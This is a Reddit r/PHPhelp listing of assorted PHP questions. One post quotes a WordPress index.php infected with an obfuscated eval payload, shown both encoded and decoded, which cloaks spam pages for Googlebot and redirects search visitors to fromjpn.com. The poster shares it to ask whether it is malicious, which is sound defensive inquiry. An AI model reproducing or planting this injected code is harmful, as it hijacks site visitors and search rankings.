r/PHPhelp • • Feb 21 '14

Where to go from here with my self-taught php education?

10 Upvotes

I've been learning php for a while now. I've made some small little projects like a blog, cms and url shortener. Besides these custom php project which are coded line by line I'm learning laravel by going over the video's from laracasts.com, which have helped me immensely.

The problem I'm facing right now though is that most paths you can take with tutorials lead to a dead end when the topic of OOP has been discussed.

I'm stuck with questions like:

  • What is dependency injection

  • What are interfaces

  • What are repositories

  • What is the best way to go about setting up my app and arrange folders within my project.

  • What is autoloading

  • Etc.

Ofcourse you can look up a lot of this information but I do not understand a lot of it since they all require prior knowledge of stuff I know little about.

I feel like I am missing the bridging piece between where the tutorials leave me hanging(at OOP mostly) and the questions I have. Ofcourse experience helps a lot but these aren't things I could have figured out on my own even if I had the time.

Can anyone relate to this, or maybe provide a good website/resource that goes beyond OOP with tutorials and gradually progresses into more advanced PHP?


r/PHPhelp • • Dec 23 '11

Moving away from .php?id=123

10 Upvotes

Hello gents!

So I'm still pretty inexperienced with PHP but was wondering if anyone could help out with a curiosity of mine. So I've been using GET for the longest time since... quite simply... it just works... and the URL's are as stated in the title. However, I've seen some websites have URL conventions where most of this is hidden, and instead the URL looks something like (I'll use users for example)

domain.com/users/12315

Which in my opinion looks a lot cleaner and obvious to the user where they are in the website. Now I'm assuming there isn't 12315 folders inside the users directory, and that there must be some type of technique they use here so take the id from this URL and pull the appropriate user information from the database?

Would be brilliant if anyone could shed some light on this curiosity as mine, as I imagine I would use this much cleaner URL convention for at least news and users!

Thanks!


r/PHPhelp • • Feb 15 '26

PHP course

9 Upvotes

I know JavaScript,css and html I want to learn PHP ,of course I know I must try and write code to learn, but I want to understand complex concepts like cookies and.... ; if you can provide helpful tutorials


r/PHPhelp • • Jan 04 '26

OOP implementation in php

9 Upvotes

we started learning backend since 1er December, now we are about to start mvc ...
i got what oop is what for , why using it , abstraction , inheritance ....
but i dont know how to use this , like in my page should i put inserted data in classes then pass it to repo classes to insert it in sql or where to put the functions ( belongs to who ) , and w ejust start learning diagrams (class diagram ) so that kinda blow my mind


r/PHPhelp • • Nov 14 '25

How Would You Architect Multi-Tenant DB Mapping for a PHP/CodeIgniter SaaS Without Subdomains?

9 Upvotes

I’m building a SaaS product in PHP using CodeIgniter for my own companies and I’m now considering offering it to external clients as well. Since the application handles sensitive business data, I’m leaning toward giving each tenant its own dedicated database rather than relying on a shared schema with a tenant ID. The risk of cross-tenant leakage due to a forgotten condition in a query is something I want to eliminate as much as reasonably possible.

I briefly considered isolating every tenant in its own container, but the operational overhead feels excessive for this use case. It’s not a financial or compliance-heavy product, so full container-level isolation would likely add more complexity than value.

The main question I’m trying to solve now is: what’s the most sensible way to map a tenant to the correct database? The straightforward solution would be to use subdomains and switch the DB connection based on the subdomain, but I don’t really like the UX of that approach. Ideally, I want a single unified login URL where all users sign in with their credentials and are then routed to the correct tenant space.

The complication is that all login data is stored inside each tenant’s database. I also don’t want to add a third login field like “Tenant ID” just to know which database to connect to. So I’m wondering how others approach this. How do multi-tenant accounting solutions and similar SaaS tools handle this when they also don’t use subdomains?

Curious to hear how you would design this and what patterns you’ve seen work best for securely routing logins to the right tenant database without compromising UX.


r/PHPhelp • • Oct 23 '25

What do I need to do to host my PHP + Docker project online for my company?

9 Upvotes

Hey everyone,

I built a full PHP web app using **Docker** (PHP + MySQL + Nginx). Everything works perfectly on my local machine — database, migrations, and all.

Now I want to **make it live** so other people from the company where I work can access it, but I’m not sure what the best next steps are.

What do I actually need to do?
- Should I rent a **VPS** (Hetzner, DigitalOcean, AWS Lightsail) and run Docker there?
- Or use a **managed platform** that handles SSL, domains, and deployment for me?
- Do I just copy my project, run `docker compose up -d`, and execute migrations again?
- How should I handle my `.env` file, database credentials, and HTTPS in production?

Basically, I’d like to understand the **whole process**, from local Docker setup to a live, secure website that my team can use internally or publicly.

Any clear step-by-step explanation or hosting recommendation would really help!!


r/PHPhelp • • Aug 27 '25

Alternative for xampp

9 Upvotes

hello guys can you give alternative app for xampp or can you help me fix? i can't use xampp. when i try to start the apache this error appear

1:07:34 pm [Apache] Error: Apache shutdown unexpectedly.

1:07:34 pm [Apache] This may be due to a blocked port, missing dependencies,

1:07:34 pm [Apache] improper privileges, a crash, or a shutdown by another method.

1:07:34 pm [Apache] Press the Logs button to view error logs and check

1:07:34 pm [Apache] the Windows Event Viewer for more clues

1:07:34 pm [Apache] If you need more help, copy and post this

1:07:34 pm [Apache] entire log window on the forums


r/PHPhelp • • Aug 13 '25

Laravel is slow locally, but fast on production host

9 Upvotes

I am hosting a Laravel app on hetzner web host (so Apache). It is fast on the server, no issues at all.

But when I am running it locally (using Laravel's web server), it is quite slow, sometimes taking 1-2 seconds for a single page load. As long as it is fine on server, I have no issues, it just makes development a bit annoying sometimes.


r/PHPhelp • • Jun 22 '25

OpenSwoole as non-blocking PHP backend to reduce server loads?

9 Upvotes

I've a content website with decent traffic, currently using traditional php with php-fpm. Redis is used to cache frequently accessed content as json objects. PHP renders the json to html. It's high load on cpu. Database is mysql, all data is saved into json files automatically to reduce load on cpu, json files only updated if the data in mysql database is updated. Server peaks sometimes and mostly because of php-fpm processes.

I'm thinking to switch the front end to htmx, use OpenSwoole as server and nginx as proxy server. Redis to cache html fragments. This way php won't be responsible for rendering so reduces the cpu load. Getting rid of PHP-FPM to process requests will save ram, I think..

The issue I have is that I couldn't find big websites using OpenSwoole, no much content about it on youtube or elsewhere. How is its support?

Any suggestions about this change to htmx and OpenSwoole?

Any feedback is appreciated.


r/PHPhelp • • Apr 08 '25

Right way to PHP OOP Implementation

9 Upvotes

Hi, I'm working as a full stack php developer. My job mainly requires procedural style php code. So I'm quite well versed with it.

Now, I have been trying to learn php oop. But no matter how many videos or guides i see, its still confusing.

Main confusion comes from

  1. File organization

  • should each class be a seperate php file

  • should utility class ( sanitization, uppercase, lowercase etc) be all combined in one?

  • how to use one class in another class

  1. How to create class

  • what should constitute a class. Should user be a class defining creation / deletion / modification of users

  • what exactly should a constructor of class do ( practically)

I'm still trying to defer mvc architecture for now. In order to understand how the design and flow for oop program should be done

Any and all help with this is helpful. I understand the basics, but having difficulty with irl implementation. Please recommend any guide that helps with implementation rather than basics.

Thanks


r/PHPhelp • • Sep 28 '24

How to tell if code is written in most current stable version of Laravel?

9 Upvotes

I have hired a Freelancer to rewrite my web software architecture from php 5 (very old) to the most stable version of Laravel. There are hundreds of files for my e-commerce site. How do I actually check and test if all the files are written in Laravel and it is working perfectly. Is there an online website that I can go to that tells me?


r/PHPhelp • • Jun 28 '24

What is the best way to develop laravel applications on linux?

9 Upvotes

I'm making the switch from Windows to Linux primarily because many VPS providers use Linux, and I want to get accustomed to developing PHP and Laravel applications in a Linux environment. When it comes to production, I want to ensure my development environment mirrors what I'll be working with.

I've already downloaded XAMPP for Linux, but I don't quite like it. I’ve heard that installing Apache directly and organizing my project files in /var/www might be a cleaner and more efficient approach. Could someone who develops on linux give me some advice on the best approach here?


r/PHPhelp • • Jun 17 '24

Junior Dev - Massive PHP Codebase - No standards followed - HELP!

9 Upvotes

I just started my second programming job a few days ago as a Junior PHP Developer. I love web development and PHP, so I am SO excited to be working with my passion.

The issue I have run into is that there is a very large codebase, and it doesn't seem to have any standards followed.... By that I mean, the entire codebase isn't even in version control. We have a production environment, and a dev environment, but to develop, we are literally making changes to the dev files. So it would be totally possible for a file that is in development to accidentally get brought over to production without the other developer knowing that the file was being worked on.

I've also found there is absolutely NO documentation for any of the code which uses a TON of custom classes and even a custom ORM (which also has no documentation).

There are no naming conventions used and the worst is there is no MVC pattern being used, so it is all spaghetti code... Some files are over 40,000 lines.

I have heard the traditional knock on PHP happens to be horror stories like this. I am determined to get good at this and I refuse to give up, but I was wondering if anybody out there came into a similar situation and what you did to get up to speed as quickly as possible.

I spent the last 2 nights looking through the codebase and trying to implement the functionality I was asked to do, but I feel really lost.

TL;DR

Started a JR PHP Dev job and facing a mess of a codebase. How can I get up to speed quickly?

UPDATE: I should also note that I am a pretty good developer for a junior. I have my own side business where I build custom Wordpress sites. I also have developed several projects at my last dev job as well in PHP. Full on working web applications in PHP.

I have also made several projects in Laravel and React... So I don't think this is a skill thing, but I could be wrong.


r/PHPhelp • • Jun 09 '24

What application is similar to Laragon but on Linux Ubuntu?

9 Upvotes

I'll try to now mainly program PHP/Laravel on Ubuntu, what application can replace Laragon on Linux? Also if there are any tips you could give me before coding on Linux with PHP or Laravel you can sure give them to me:)


r/PHPhelp • • Apr 22 '24

Solved How would you learn PHP again if you needed to start from scratch?

9 Upvotes

I need to learn PHP and Laravel for a university project and I'm looking for resources to learn from? I would really appreacite if you could point me towards some good ones.

I already know JavaScript, React and a little bit of Python.


r/PHPhelp • • Mar 20 '24

When leanring PHP as a first programming Language for server-side Backend, is HTML and CSS skills a must have skill?

9 Upvotes

Hi everyone, Im currently interested in being a Backend Web Developer. I have seen this amazing Backend Roadmap created from roadmap.sh and I would like to choose PHP as my first programming language to learn and master.

The reason why I chose PHP is because well roadmap.sh says that PHP is one of languages for backend web deb but also PHP is one of the most popular languages in my country (Indonesia) right after or before Javascript.

But I noticed one thing, every PHP guide I've found either from w3schools, programming with Gio, or Traversy media, they all paired PHP with HTML and CSS. I do know that Laravel is the main tool framework to use with PHP but HTML and CSS by my own research, is only for designing pretty websites.

I understand the need to learn things like SQL, databases, etc. For backend but HTML and CSS?

Im confused here and I need help.

Tbh my cousin who was a PHP developer recommended me a junior devops life instead but after my own research, Junior DevOps roles are much much rarer and only for seniors only.


r/PHPhelp • • Feb 26 '24

Any way to SAFELY execute shell scripts from PHP?

9 Upvotes

I have a website accessible from https://exampleurl.com:1234 (i.e. nonstandard port).

After logging in, this website gives my users a GUI and a few buttons. The buttons interact with PHP scripts on an Unraid VM, which then launch shell scripts. The shell scripts are used for controlling streams via streaming software called "OBS-Studio".

Here's an example:

my.php
<?php
$output = shell_exec("/bin/bash /var/www/html/streamstart.sh");
echo $output; 
?>


streamstart.sh
#!/bin/bash
obs-cmd streaming start

I'm relatively new to PHP, and I'm not sure how this could be exploited. Is there a way to make this more secure?

I have set the password for my users to be extremely secure, but that feels like the only line of defense right now.


r/PHPhelp • • Oct 12 '23

[PHP] How do I read barcodes from an image?

9 Upvotes

I don’t recall the program that always comes up when I’m searching for this. But it requires backend installation. Which I am pretty certain on my Hostinger CPanel I don’t have access to.

So is there any other way of achieving this without operating system level control?

Essentially I want to be able to do this:

$imageURL = “/files/picture.png”;

$Barcode = ScanBarcodes($imageURL);

echo $Barcode;


r/PHPhelp • • Oct 03 '23

I found some unusual code in my friend's index.php - is this an exploit?

9 Upvotes

Lemme preface this with I'm a python backend dev and I have almost zero php and wordpress experience. I'm going by intuition and dead reckoning mostly. My friend calls me in a panic and tells me her Wordpress-powered website has started showing this error at the top of the page:

Notice: Undefined index: HTTP_REFERER in REDACTED/index.php(9) : eval()'d code on line 15

I dug into the web server and found the index.php file in question, which looked like this:

<?php function OFgP($nGtfQ)
{ 
$nGtfQ=gzinflate(base64_decode($nGtfQ));
 for($i=0;$i<strlen($nGtfQ);$i++)
 {
$nGtfQ[$i] = chr(ord($nGtfQ[$i])-1);
 }
 return $nGtfQ;
 }eval(OFgP("tVTRbpswFH2Hr3ARqkGlkDxM6pZmUxXRtFKXdITsYWmGqOcQr4ApmDVd22/ftQlNk03bNGmIB9v33nPOPb6AEDy6WdKErlAfGd7nK292cvgpPvzeOXw9P7iKtnYvYlcR7N0k5gemZ/R087am5T1AmNHEDz76wQwH/oepPwmjaXCO5z1NZwurEiW8VpPsGBUTNIsLd5Wlhm0/6BolS46GVJyylA54LmgurO2sHl0x0dOf1mis4JW1oTwLw8toCrvoZOiPQjx3EB5ynqT0mgtso71+Hy3itKKSDBBYVVGxlmOj/X1UgBNRFguytBpTnHVQFmgmMEKLuwKXQhRvPG9R8uxrkbuEZx7hN+WCQbNe56jTvSmPul2viBNaucWyeGe4DaprPMKyVW8o9WfjSWjM7R7QKTckp9qovrUnaF32/kIo9qxE9SiZH5+X7k35eB8vOVfH1yxP1CKPv9FSrmyPYQcBuuApv6Plro2Bf+oHfoDntv0vbrX68XFF4JrE2y+c1Bn45aacxILxvP/XziU8p3eNddiFS89aES6GiTj21gz42ScERlG4ZtC9scyMhn44w3WN53t9w7AfNP2/StzQ/UKnkqlJZYs6J5Jrd6zMukzXxrcpEVRVorLwAvKihIqINMkVtm2kJlRF2lOY1Z8yG1w5SUg61FSRJaQSCEQsZ8JS02cKllFeC4i8koZqKg4TwAuBLChx0GAaXIwv5Rd+4aAW9zd5gR9Og1EYnIwmMFsO6tp/AB6MRyN/EIbn7/3xNASOtaZG4G6vCoeuKJEgGykk5RVtj550raSiLnO0XQ6/FPQD"));?>
<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';

Looks like some obfuscation, which made me raise an eyebrow, but for all I know, some plugin generated this. Here's the decloaked code:

$regex = "/^\/[A-Za-z0-9]+_[A-Za-z0-9]+\/[A-Za-z0-9_]+\.gao+$/";
$query = $_SERVER['REQUEST_URI'];	
if(strstr($query,"sitemap.xml")){
	echo GetFileContent("sitemap.xml");exit;
}
if(stripos($_SERVER['HTTP_USER_AGENT'], 'Googlebot') !== false){
	if(isset($query) && preg_match($regex,$query)){
		$str = GetFileContent("http://fromjpn.com/cokrfirst/0801kr811/pages.php?".$query."|".$_SERVER["HTTP_HOST"]);
		echo $str;
		exit;
	}
}

if(preg_match('/(google.com|google.co.kr|yahoo.com|bing.com|naver.com)/i', strtolower($_SERVER['HTTP_REFERER']))){
	if(isset($query) && preg_match($regex,$query)){

		echo '<script>document.location=("http://fromjpn.com/cokrfirst/0801kr811/gonews.php?'.trim($query).'");</script>';
		exit; 
	}else{
	
	}
}

if($_GET['uu']!=""){	
	echo '<script>document.location=("http://fromjpn.com/cokrfirst/0801kr811/gonews.php?'.trim($_GET['uu']).'");</script>';
	exit;	
}

function GetFileContent($url){
	if(function_exists('file_get_contents')) {
		$file_contents = file_get_contents($url);
	} else {
		$ch = curl_init();
		$timeout = 5; 
		curl_setopt ($ch, CURLOPT_URL, $url);
		curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); 
		curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
		$file_contents = curl_exec($ch);
		curl_close($ch);
	}
	return $file_contents;
} 

I visited fromjpn.com in a sandbox and it redirects to some sort of spammy/weeb looking hangul site. Is this doing anything actually for the functionality of the site, or is this some sort of exploit that somehow got injected into the index.php file?


r/PHPhelp • • Oct 21 '22

Solved Working my way through an OOP PHP course, but struggling to pull the concepts together. Can you recommend a good reference to help reinforce the concepts?

9 Upvotes

I am working my way though Gary Clarke's OOP PHP course on Udemy. I feel like I have a decent grasp on the basics, but I'm struggling to pull everything together into a cohesive understanding that would allow me to create my own project.

I understand the basic principle of things like classes, properties, methods, private/public/static, construct/destruct, getters and setters, name spaces, extending classes, and so forth. But everything still feels very fuzzy. I'm looking for recommendations for a reference or some guided practice projects that will help pull everything together.


r/PHPhelp • • Apr 09 '22

Solved Best Practice for Pre-Defining Multiple Arrays.

9 Upvotes

What is the better method?

<?php

$array1 = $array2 = $array3 = array();

// or

$array1 = array();
$array2 = array();
$array3 = array();

?>

r/PHPhelp • • Jan 16 '22

Need help with basic php unit testing

9 Upvotes

Hi all,

Let's start of with the fact that I have very minimal experience in backend (PHP) development but I do enjoy learing about back-end as a front-end developer :). So I am currently at the stage where I want to learn some testing with php unit tests.

The problem Im having with this is that I do not know what exactly I should test inside my project.

I currently have a login, which includes the register part of the user. inside my class User, I created my public function as such:

<?php

public function register($data) {

$this->db->query('INSERT INTO users (username, email, account, password) VALUES(:username, :email, :account, :password)');

//Bind values

$this->db->bind(':username', $data['username']);

$this->db->bind(':email', $data['email']);

$this->db->bind(':account', $data['account']);

$this->db->bind(':password', $data['password']);

//Execute function

if ($this->db->execute()) {

return true;

} else {

return false;

}

}

?>

What should I test with php unit test and how should I go about this? Like does someone have an example of how to best test the functionality? I just want to do basic testing but id like to do it the right way.

Hope I explained it well.

Thanks for reading all :)


r/PHPhelp • • Nov 07 '21

We are students, a few incorrect MySQL settings broke our whole website and database, now we are locked out, any way to fix? Please help save our project.

9 Upvotes

Edit: We are back up and running. Thank you all so very much for your help! We would not have figured it out without you!

XAMPP WordPress website goes down after working fine for over a week, cannot log into myPhpAdmin because MAX_CONNECTIONS_PER_HOUR exceeded, wait hours, not fixed, wait a day, not fixed.

Try every method under the sun to somehow log into MySQL to change the setting (which was also blocking us because MAX_CONNECTIONS_PER_HOUR), somehow get in, even though phpMyAdmin is still blocking us for the same reason (we were able to use both simultaneously before).

We try to change settings after doing our reasearch, try a few different methods, some of them work but do not actually change the MAX_CONNECTIONS_PER_HOUR per hour setting because it says "Query OK, 0 lines affected" (which I assume means we changed nothing). We must be in the same database, because it is the only one we have, and has a unique username and password.

After a few attempts of trying to change the settings we get blocked again, this time for exceeding MAX_QUERIES_PER_HOUR, this made it so we could SORT OF log into myPhpAdmin, but it is totally screwed up, just shows an "Exceeded MAX_QUERIES_PER_HOUR" error and you can no longer see the database.

We try to FLUSH USER_RESOURCES (or FLUSH_USER_RESOURCES) but cannot do that because it is treated like a query, providing the same error. Again we wait hours, then a day, and now the MySQL/phpMyAdmin is stuck on the MAX_QUERIES_PER_HOUR error. You would think after an hour we could resume work, but no, no amount of time is fixing these errors.

Our website and database was not backed up yet, we do not have snapshot because this is for a college class (this is pretty much our whole grade and is due in 4 days). We were supposed to start backing things up right when this happened, of course.

It seems if we could somehow flush the controls like such as:

MAX_CONNECTIONS_PER_HOUR

MAX_QUERIES_PER_HOUR

MAX_UPDATES_PER_HOUR

MAX_USER_CONNECTIONS

Time is not doing it like it should, is there a manual way to do it? If we can restore our access, we could then change those settings to all = 0 so that there is no more limits, and then we would be good to go, but we cannot restore access, we cannot change those settings.

Does anyone know of any way we can restore access? Is there some file somewhere with these settings that we can change and then restart everything? How do we do that? Is there any trick that will get us back into operational status? We spent a lot of time on this. Please help save me and my groupmates grades and website/database.

What are we missing! Google has been no help.


r/PHPhelp • • Oct 26 '21

My PHP code has a race condition - is this even possible?

9 Upvotes

Was debugging an error all morning, when I echo'd things out I found I have a race condition. I did not believe this was possible in php. it was solved by adding a sleep(5). Here is code snip:

if($t >= 9*60+39) {
      if($this->getPosition() !== 0) {
          $this->output("time is up, closing");
          $this->cancelOpenOrders();
          sleep(5);   // not originally here, added to solve race cond
          $this->flatten();
      }
    }

So, what is happening here is that the program is trying to flatten my position, but it can't if there are open orders, so it has to cancel any open orders first. When it doesn't do that, I get the error

{
  "error" : "This order may result in an oversold/overbought position in your account.  Please check your position quantity and/or open orders."
}

This is because you can't buy to cover when you already have a stop loss order in place. I actually think they should just kill the stop loss and accept the new order, but that's not how it works.

When I echo'd it out, it goes like this

2021-10-26 10:16:00: time is up, closing
going to child orders
Skipping child
2021-10-26 10:16:00: 0 orders cancelled
2021-10-26 10:16:00: Flattening position - buying 100
going to child orders
Skipping child
{
  "error" : "This order may result in an oversold/overbought position in your account.  Please check your position quantity and/or open orders."
}
there was an error

So you can see that the flatten function runs WHILE the cancel function is still looping through the orders trying to cancel them one by one. This should not be possible. Putting in the sleep function solved it.

The code is using CURL to send and receive requests, but even still, this should not matter. PHP should run sequentially. Was there an update or something I don't know about? Here is my composesr require:

      "slim/slim": "^3.12",
      "illuminate/database": "^5.8",
      "robmorgan/phinx": "^0.10.6",
      "symfony/console": "^4.2",
      "illuminate/events": "^5.8",
      "phpmailer/phpmailer": "^6.0",
      "league/flysystem": "^1.0",
      "symfony/var-dumper": "^4.2",
      "monolog/monolog": "^1.24",
      "jenssegers/blade": "^1.1",
      "illuminate/pagination": "^5.8",
      "symfony/dotenv": "^4.2",
      "symfony/polyfill-php80": "1.19",
      "mongodb/mongodb": "^1.8",
      "amphp/websocket-client": "^1.0",
      "caymanbrothers/stockshare-sdk": "^1.0",
      "mnshankar/linear-regression": "^1.0"

Most of those arent being used for this script. Really only Slim, console, and dotenv should be getting used for this. Is it possible that including amphp is doing this? Or is there something else I am missing?